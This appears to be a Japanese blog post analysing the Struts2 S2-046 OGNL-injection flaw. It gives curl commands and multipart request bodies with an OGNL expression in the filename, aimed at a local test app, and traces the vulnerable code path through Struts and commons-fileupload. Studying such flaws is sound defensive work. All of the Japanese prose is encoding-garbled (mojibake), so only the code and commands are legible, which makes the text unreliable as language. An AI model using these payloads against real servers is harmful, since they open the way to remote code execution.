S2-045ã®è©±ã¯æ¢ã«æ¸ãããã©ããS2-046ã¯æ¸ãã¦ããªãã£ãã®ã§ã¡ãã£ã¨æ¸ãã
âã®ãã¤ã
Struts2-046: A new vector - Hewlett Packard Enterprise Community
ãã®èå¼±æ§ã¯ã以ä¸ã®3ã¤ã®æ¡ä»¶ã«åãå ´åããã«ããã¼ãã®ã¢ã¤ãã ã®ãã¡ã¤ã«åã«è¨è¿°ãããOGNLå¼ãå®è¡ãããã
- ï½ultipartã®parserã¨ãã¦JakartaStreamMultipartRequestãå©ç¨ãã¦ããå ´å
- Content-Lengthãå¶éå¤(ããã©ã«ãã¯2MB)ãã大ããè¨å®ãã
- ãã«ããã¼ãã®ã¢ã¤ãã ã®Content-Dispositionãããã®ãã¡ã¤ã«åã®é¨åã«OGNLå¼ãå ¥ãã
å®éã«ãã®èå¼±æ§ã確èªãã¦ã¿ãã
èå¼±æ§ã®ãããã¼ã¸ã§ã³ã®struts(以ä¸ã§ã¯2.3.11ãå©ç¨ãã)ãå«ãã ãµã³ãã«ã¢ããªstruts2-blankã«å¯¾ãã¦ãJakartaStreamMultipartRequestãå©ç¨ããããã«è¨å®ããHPã®ä¾ããã®ã¾ã¾ä½¿ã£ã¦curlã³ãã³ãã§å®è¡ããã
curl -H 'Content-Length: 10000000' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample.txt http://localhost:8080/struts2-blank/example/HelloWorld.action
sample.txtã®ä¸èº«ã¯
------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" Content-Type: text/plain Kaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
ãããé¨åã®æ¹è¡ã³ã¼ãã¯\r\nã«ããå¿ è¦ãããã®ã§æ³¨æã
ãããå®è¡ããã¨ããã«ããã¼ããªã¯ã¨ã¹ããparseãããããJakaraStreamMultipartRequest.parseãå®è¡ãããã
public void parse(HttpServletRequest request, String saveDir) throws IOException { try { setLocale(request); processUpload(request, saveDir); } catch (Exception e) { e.printStackTrace(); String errorMessage = buildErrorMessage(e, new Object[]{}); if (!errors.contains(errorMessage)) errors.add(errorMessage); } }
parseã®ä¸ã§ä»¥ä¸ã®processUploadãå¼ã°ããã
private void processUpload(HttpServletRequest request, String saveDir) throws Exception { // Sanity check that the request is a multi-part/form-data request. if (ServletFileUpload.isMultipartContent(request)) { // Sanity check on request size. boolean requestSizePermitted = isRequestSizePermitted(request);
isRequestSizePermittedã§ContentLengthãå¶éå¤ãè¶ ãã¦ããªãããã§ãã¯ããããã®çå½å¤ãrequestSizePermittedã«å ¥ãã
ããã¦ãåãã«ããã¼ãã®ã¢ã¤ãã ã1ã¤ãã¤å¦çãã¦ããã
FileItemIterator i = servletFileUpload.getItemIterator(request); // Iterate the file items while (i.hasNext()) { try { FileItemStream itemStream = i.next(); // If the file item stream is a form field, delegate to the // field item stream handler if (itemStream.isFormField()) { processFileItemStreamAsFormField(itemStream); } // Delegate the file item stream for a file field to the // file item stream handler, but delegation is skipped // if the requestSizePermitted check failed based on the // complete content-size of the request. else { // prevent processing file field item if request size not allowed. // also warn user in the logs. if (!requestSizePermitted) { addFileSkippedError(itemStream.getName(), request); LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize); continue; } processFileItemStreamAsFileField(itemStream, saveDir); } ...
ãã¡ã¤ã«ã¢ãããã¼ãã®å ´åã¯requestSizePermittedããã§ãã¯ããã¦ããããããfalseã®å ´åã¯addFileSkippedErrorãå¼ã°ãããããã§ãitemStream.getName()ã¯Cotent-Dispositionã®ãã¡ã¤ã«åãè¿ãã®ã§ãOGNLå¼ãå«ããã®ã«ãªãã
addFileSkippedErrorã¯ä»¥ä¸ã®ãããªã¡ã½ããã§"Skipped file <ãã¡ã¤ã«å>; request size limit exceeded."ã¨ããä¾å¤ãä½æããbuildErrorMessageãå¼ã¶ã
private void addFileSkippedError(String fileName, HttpServletRequest request) { String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded."; FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize); String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize}); if (!errors.contains(message)) errors.add(message); }
buildErrorMessageã¯ä»¥ä¸ã®ã¡ã½ããã§ãã¨ã©ã¼ã¡ãã»ã¼ã¸ãå¼æ°ã«LocalizedTextUtil.findTextãå¼ã³åºãããããS2-045ã§ããã£ãããã«OGNLå¼ãå®è¡ãã¦ãã¾ãã
private String buildErrorMessage(Throwable e, Object[] args) { String errorKey = "struts.message.upload.error." + e.getClass().getSimpleName(); if (LOG.isDebugEnabled()) LOG.debug("Preparing error message for key: [#0]", errorKey); return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); }
ã¢ãããã¼ããã¡ã¤ã«ã®ãµã¤ãºã®å¶éãè¶ ããâãããã¨ãããã¡ã¤ã«ãå¶éå¤ãè¶ ãããã¨ããä¾å¤ãä½æ(å®ã¯ããã«OGNLãå«ã¾ãã¦ãã)âãã¼ã«ã©ã¤ãºã¡ã½ãããå¼ã¶âOGNLå®è¡ã¨ããæµãã§ããã
ããã«ãS2-046ã«ã¯ä»¥ä¸ã§ææããã¦ããè¥å¹²ç°ãªãæ»æçµè·¯ãããã
GitHub - pwntester/S2-046-PoC: S2-046-PoC
ãã¡ãã¯Content-Lengthã¯2KBãè¶ ãã¦ããå¿ è¦ã¯ãªãã®ã§ä»¥ä¸ã®ã³ãã³ãã§è¯ãã
$ curl -v -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z' --data-binary @sample2.txt http://localhost:8080/struts2-blank/example/HelloWorld.action
sample2.txtã¯å ç¨ã®sample.txtãå°ãä¿®æ£ããã
------WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}<\0>b" Content-Type: text/plain Kaboom ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
ãã¡ã¤ã«åã«OGNLå¼ãå ¥ããã®ã¯åãã ãã\0ã®ãã¤ããå«ãããã«ããã
ä»åã¯requestSizePermittedãtrueã«ãªãã®ã§ãprocessFileItemStreamAsFileFieldã«é²ãã
private void processFileItemStreamAsFileField(FileItemStream itemStream, String location) { // Skip file uploads that don't have a file name - meaning that no file was selected. if (itemStream.getName() == null || itemStream.getName().trim().length() < 1) { LOG.debug("No file has been uploaded for the field: {}", itemStream.getFieldName()); return; }
itemStream.getName()ã§ã¢ã¤ãã ã®ãã¡ã¤ã«åãåå¾ãã¦ããã®ã ãããã®ä¸ã§ãã¡ã¤ã«åã®ãã§ãã¯ãå®æ½ãããã
ãã®é¨åã¯commons-fileuploadã®org.apache.commons.fileupload.util.Streams.checkFileNameã«ããã
public static String checkFileName(String fileName) { if (fileName != null && fileName.indexOf('\u0000') != -1) { // pFileName.replace("\u0000", "\\0") final StringBuilder sb = new StringBuilder(); for (int i = 0; i < fileName.length(); i++) { char c = fileName.charAt(i); switch (c) { case 0: sb.append("\\0"); break; default: sb.append(c); break; } } throw new InvalidFileNameException(fileName, "Invalid file name: " + sb); } return fileName; }
ãã®ãã§ãã¯ã¯\0ãå«ã¾ãããã©ããããã§ãã¯ãã"\\0"ã«ç½®ãæãã¦"invalid file name: <ãã¡ã¤ã«å>"ã¨ããã¡ãã»ã¼ã¸ã®ä¾å¤ãæããã
ãã®ä¾å¤ã¯ãä¸çªæåã®JakartaStreamMultipartRequest.parseã®ä¸ã®try catchã§ãã£ãããããbuildErrorMessageã«æããããLocalizedTextUtil.findTextã«æããã®ã§ãã¡ã¤ã«åã«å«ã¾ããOGNLãå®è¡ãããã
ãã£ã¡ã¯ãContent-Dispositionã®ãã¡ã¤ã«åã«\0ãå«ãâcommons-fileuploadãããã¡ã¤ã«åããããã: <ãã¡ã¤ã«å>ãã¨ããä¾å¤ãæããâstruts2ãä¾å¤ããã£ãããã¦ããã¼ã«ã©ã¤ãºã¡ã½ãããå¼ã¶âãã¡ã¤ã«åã«å«ã¾ããOGNLãå®è¡ãããã¨ããæµãã
ã©ã¡ãããS2-045ã®ä¿®æ£ã§ã¯ãã¼ã«ã©ã¤ãºããæã«è©²å½ãããã¼ãåå¨ããªãå ´åã¯ããã©ã«ãã®ã¡ãã»ã¼ã¸ããã¼ã«ã©ã¤ãºãããããªã³ã¼ãã«ãªã£ã¦ããã®ã§ãS2-045ã®ä¿®æ£ãå ¥ãã¦ããã°å¤§ä¸å¤«ãããããWAFã§ã®å¯¾å¿ã«ãã¦ããã¨ãã§ãã¯ããããããç°ãªãã®ã§ãã«ã¼ã«ãå¤ãã¦ãããªãã¨ãããªãã
ã¾ããWAFã«é ¼ããããã¯ææ°çã«ããæ¹ãè¯ãããªã